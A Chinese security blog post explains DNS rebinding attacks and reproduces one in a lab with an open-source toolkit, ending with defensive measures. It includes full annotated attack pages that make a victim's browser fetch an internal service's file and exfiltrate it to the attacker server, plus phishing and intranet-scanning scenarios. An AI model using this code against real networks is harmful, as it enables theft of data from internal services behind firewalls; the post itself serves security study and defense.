小九博客

  • 首页
  • 编程开发
  • 信息安全
  • 工具资源
  • 随笔
  • 在线工具
    • 在线图片水印
    • Json解析
    • JavaRuntimeExec
    • 加解密/编码工具集
  • 关于
小九博客
Hack The World!
  1. 首页
  2. 信息安全
  3. 正文

DNSRebind攻击

2022年02月23日

DNSRebind DNS重绑定攻击

1.原理

为了保证DNS服务的可靠性,DNS响应记录A中包含一个TTL(time to live)值,表示当前解析结果的有效时间,客户端(浏览器)会在超过这个时间值后重新请求解析域名(取决于客户端是否遵循这个TTL值),得到的新响应中又会存在一个过期时间,客户端会再次去解析域名,如此保证获取到最新的域名解析结果。

若DNS服务前后响应返回的ip地址不一样,浏览器并不会认为跨域。如果域名后续解析到的ip为127.0.0.1、192.168.0.1等不同于先前解析结果,浏览器依然认为符合同源策略,会将请求发送到127.0.0.1机器上。如此就产生了DNS Rebinding攻击。

浏览器和操作系统均会存在DNS缓存,缓存时间一般不按照DNS服务器响应中的TTL值,比如固定为60s。

2.攻击场景

用户访问到攻击者的网站www.evil.com

该站点会创建一个隐藏的iFrame窗口,加载恶意攻击链接 uuid.evil.com:3000/password.txt,此时为第一次加载。

第一次加载时解析的IP仍然是攻击者的服务器IP。

站点中的JavaScript定时对iFrame窗口进行刷新,在后续的加载中解析的IP变更为内网IP,因此uuid.evil.com:3000/password.txt现在对应地址192.168.1.100:3000/password.txt,但此时因为DNS缓存的缘故,仍然会解析为先前攻击者服务器的IP。

此时通过不断的对iFrame窗口进行刷新,当客户端浏览器的DNS缓存失效,iFrame再次重新加载时,用户便成了一个”攻击中间人”,请求都由用户本地发起,对本地或局域网发送相关数据。

访问到敏感信息后再将信息传递给攻击者站点,www.evil.com/uploadyourpass

此时便完成了整个攻击。

钓鱼场景

该攻击需要受害者访问攻击者网站触发,因此可用于钓鱼邮件目的。

以往的钓鱼往往需要目标下载可执行程序来执行,而该攻击仅需要目标保持网页访问即可,在访问中目标将充当”攻击中间人”将原本的本地命令/代码执行提升为远程利用。

绕过SSRF检查

一些SSRF在修复时,仅在入口处对来路IP做了检查,判断为内网地址则拒绝访问,此时可利用DNSRebind特性,第一次返回外网地址,当程序执行后续步骤时,IP已重新绑定,再次解析会按照重新绑定的IP进行后续操作。

攻击内网设施

企业往往只注重外网服务的安全检查和巡检,内网中的未授权、敏感信息泄漏问题往往不会即时整改,通过该攻击手法即可对内网服务发起攻击。

3.复现结果

最新Chrome浏览器已无法使用该攻击,仍然会被浏览器同源策略阻止.

在360安全浏览器最新版本(13.1.5188.0|内核版本86.0.4240.198)测试成功。

4.复现步骤

本次复现采用开源工具包DNS-Rebind-Toolkit实现,目标是窃取到内网中部署服务的组件信息及版本信息。

环境信息:

名称 IP地址 开放服务及端口 其他
内网服务 192.168.1.100 HTTP服务/3000端口 内网服务存在,url为192.168.1.100:3000/package.json
员工 192.168.1.200 None 使用360安全浏览器
攻击者 123.123.123.123 HTTP服务/80,3000端口 部署DNS-Rebind-Toolkit

DNS-Rebind-Toolkit部署

1.克隆仓库

1
git clone https://github.com/brannondorsey/dns-rebind-toolkit

2.配置攻击逻辑及攻击参数

本内容是基于实验环境且知晓对方存在3000端口,并且了解URL地址。当不了解具体情况时,可以看下一章节。

修改server.js,将 const defaultPorts = [80, 8008, 8060, 1400, 1337]中除80以外的端口删除,添加3000端口。

8008 8060 1400 1337端口是该工具包内置的PoC,包含Google Home and Roku products等产品的敏感信息泄漏漏洞利用PoC。

修改www/index.html,删除统计以及确认弹窗,并将跳转地址修改为./default-payloads.html,完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html lang="sr-Latn-u-em-text">
<head>
<title>DNS Rebind Test</title>
<meta charset="utf-8">

</head>
<body>
<script>
window.location.href = './default-payloads.html';
</script>

</body>
</html>

修改www/default-payloads.html,该文件用于配置攻击参数以及攻击逻辑,文件加载时会新建一个iframe定时刷新构造好的链接地址,让受害者进行访问。

由于文件较大,此处直接贴源代码,增加注释以供参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<!DOCTYPE html>
<head>
<title>Example launcher</title>
</head>
<body>
<p>Open your developer's console to see what's happening.</p>
<!-- This EventEmitter class must be included -->
<script type="text/javascript" src="/share/js/EventEmitter.js"></script>
<script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
<script type="text/javascript">

// DNSRebindAttack.getLocalIPAddress() //通过WebRTC漏洞获取受害者局域网IP(本文192.168.1.200)
// .then(ip => launch(ip)) //如果获取到,就针对该IP或者该IP段进行攻击
// .catch(err => { //异常未获取到则使用指定IP。
// console.error(err)
// launch('192.168.1.100')
// })
launch('192.168.1.100') //因为WebRTC漏洞在大部分浏览器中已经修复,而且实验环境知道目标IP,因此这里直接使用目标IP进行。
function launch(localIp) {
// launchRebindAttack(localIp, 80, 'payloads/radio-thermostat.html')
// launchRebindAttack(localIp, 8008, 'payloads/google-home.html')
// launchRebindAttack(localIp, 8060, 'payloads/roku-info.html')
launchRebindAttack(localIp, 3000, 'payloads/test.html') //加载重绑定攻击,目标IP 192.168.1.100,端口3000,加载指定Payload
// launchRebindAttack(localIp, 80, 'payloads/phillips-hue.html')
}

function launchRebindAttack(localIp, remotePort, payload) {

// convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
// const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`) //如果需要对C段进行尝试,则移除该注释。

const ips = ['192.168.1.100'] //这里不进行C段尝试,直接指定目标IP

const rebind = new DNSRebindAttack('rebind.network', remotePort) //使用rebind.network公开的DNSRebind服务进行攻击
rebind.attack(ips, '123.123.123.123', payload, 200) //需要攻击的IP,设置第一次请求返回的IP(建议设置为攻击者服务器IP),对应payload,发包间隔时间。

rebind.on('iframe-added', (ip, src) => {
//iframe创建后执行的操作,按需设置
})

rebind.on('all-iframes-added', () => {

})

rebind.on('iframe-removed', (ip, src) => {
// console.log(payload, 'iframe-removed', ip, src)
})


rebind.nodes.on('rebind', (ip) => {
console.log(payload, 'node rebind', ip)
})

rebind.nodes.on('exfiltrate', (ip, data) => {
console.log(payload, 'node exfiltrate', ip, data)
})

rebind.nodes.on('fatal', (ip, data) => {
// console.error(payload, 'node fatal', ip, data)
})

}

</script>
</body>
</html>

3.编写Payload

编写Payload,payloads/test.html,直接来看文件内容及注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<!DOCTYPE html>
<html>
<head>
<title>WikiDownload Payload</title>
</head>
<body>
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">
(function() {

// note, Chromecast requires Origin to be unset for GET requests to /setup,
// however Firefox doesn't allow you to do this with the fetch API, so this exploit
// doesn't work in firefox.
attack()
.then(() => {},
err => {
console.error(err)
DNSRebindNode.emit('fatal', err.message)
}
)
.then(() => DNSRebindNode.destroy())

async function attack() {

const getOptions = DNSRebindNode.fetchOptions()

try {
const opts = { fetchOptions: getOptions }

//设置要访问的PoC地址,
const result = await DNSRebindNode.rebind(`http://${location.host}/package.json`, opts)
if (result.ok) {
const json = await result.text()

//将文件保存到攻击服务器(123.123.123.123),保存文件名package.json,类型支持json、xml、txt
return await DNSRebindNode.exfiltrate('package.json', json, 'json')
} else {
return Promise.reject(result)
}
} catch (err) {
return Promise.reject(err)
}
}
})()
</script>
</body>
</html>

启动服务

1
node server

设置DNS解析

添加A记录到攻击服务器123.123.123.123,实验中使用域名testtestao.top

将恶意链接发送给员工

员工(192.168.1.200) 使用360安全浏览器访问该域名testtestao.top。

在等待数秒后,Payload使得员工成为了”攻击中间人”,访问了内网服务,并将该文件上传到了恶意服务器。

360DnsRebind.png

服务器日志返回

DNSRebindGetData.png

5.防护措施

用户侧

  • 本地管理DNS请求,对域名解析为本地或专用网络IP的行为进行白名单限制。

  • 及时更新浏览器

  • 对发来的外部链接谨慎访问,不在专用网络打开

业务侧

  • HTTP服务绑定HOST,对HOST头进行验证
  • 内网服务也建议绑定TLS/SSL证书
  • 整改内网中存在的未授权、敏感信息泄漏问题 :)

6.一些其他细节

实验环境是知道目标内网服务IP进行的,当不知道目标服务IP如何进行?

在dns-rebind-toolkit中提供了一些思路,其使用了WebRTC漏洞来获取用户的真实IP,获取到后对用户真实IP所在C段进行攻击尝试,因此可以借助这个思路,当通过其他漏洞或手段拿到一个内网IP后,对该内网下的其他IP进行遍历和漏洞测试。

由于WebRTC漏洞在2015年公布,现在大部分的浏览器已经不支持该漏洞。

实验环境是通过公共DNSRebind服务进行攻击的,如何自己搭建?

实验中的rebind.network服务也已开源,可以很轻松的搭建部署。Github:https://github.com/brannondorsey/whonow

7.引用或参考资料

  • WebRTC
    • https://www.cvedetails.com/cve/CVE-2016-10600/
    • https://github.com/brannondorsey/dns-rebind-toolkit/commit/98a6abab1e21cb4304d97f586fe28c706bb307a0
  • DNSRebind
    • https://paper.seebug.org/390/
    • https://bbs.pediy.com/thread-230047.htm
    • https://blog.csdn.net/haoren_xhf/article/details/80050632
  • 工具
    • https://github.com/brannondorsey/whonow
    • https://github.com/brannondorsey/dns-rebind-toolkit  

另感谢和我共同学习讨论该技术的@lys

标签 DNSRebind 攻击复现 攻击研究
最后更新:2022年02月23日

文章评论

小九

Just For Fun

文章大纲
  1. DNSRebind DNS重绑定攻击
    1. 1.原理
    2. 2.攻击场景
      1. 钓鱼场景
      2. 绕过SSRF检查
      3. 攻击内网设施
    3. 3.复现结果
    4. 4.复现步骤
      1. DNS-Rebind-Toolkit部署
      2. 设置DNS解析
      3. 将恶意链接发送给员工
    5. 5.防护措施
      1. 用户侧
      2. 业务侧
    6. 6.一些其他细节
    7. 7.引用或参考资料
分类目录
  • 编程开发
  • Yii2
  • 随笔
  • 工具资源
  • Django
  • 信息安全
标签聚合
DatePicker Cluster cloudflarepartner Xdebug yii2-audit 学习资料
随机 最新 热点
随机 最新 热点
DNSRebind攻击 Yii2 Event事件-场景应用 Codeception(三) 【算法】变量交换 Yii2 Event事件-初识 免费CDN加速手把手教程
OpenSearch集群部署 DNSRebind攻击 MySQL数据同步到ElasticSearch(Logstash方案)爬坑纪实 自动化编排学习(一)部署篇 常见容器漏洞总结 免费CDN加速手把手教程

COPYRIGHT © 2021 小九博客 ALL RIGHTS RESERVED.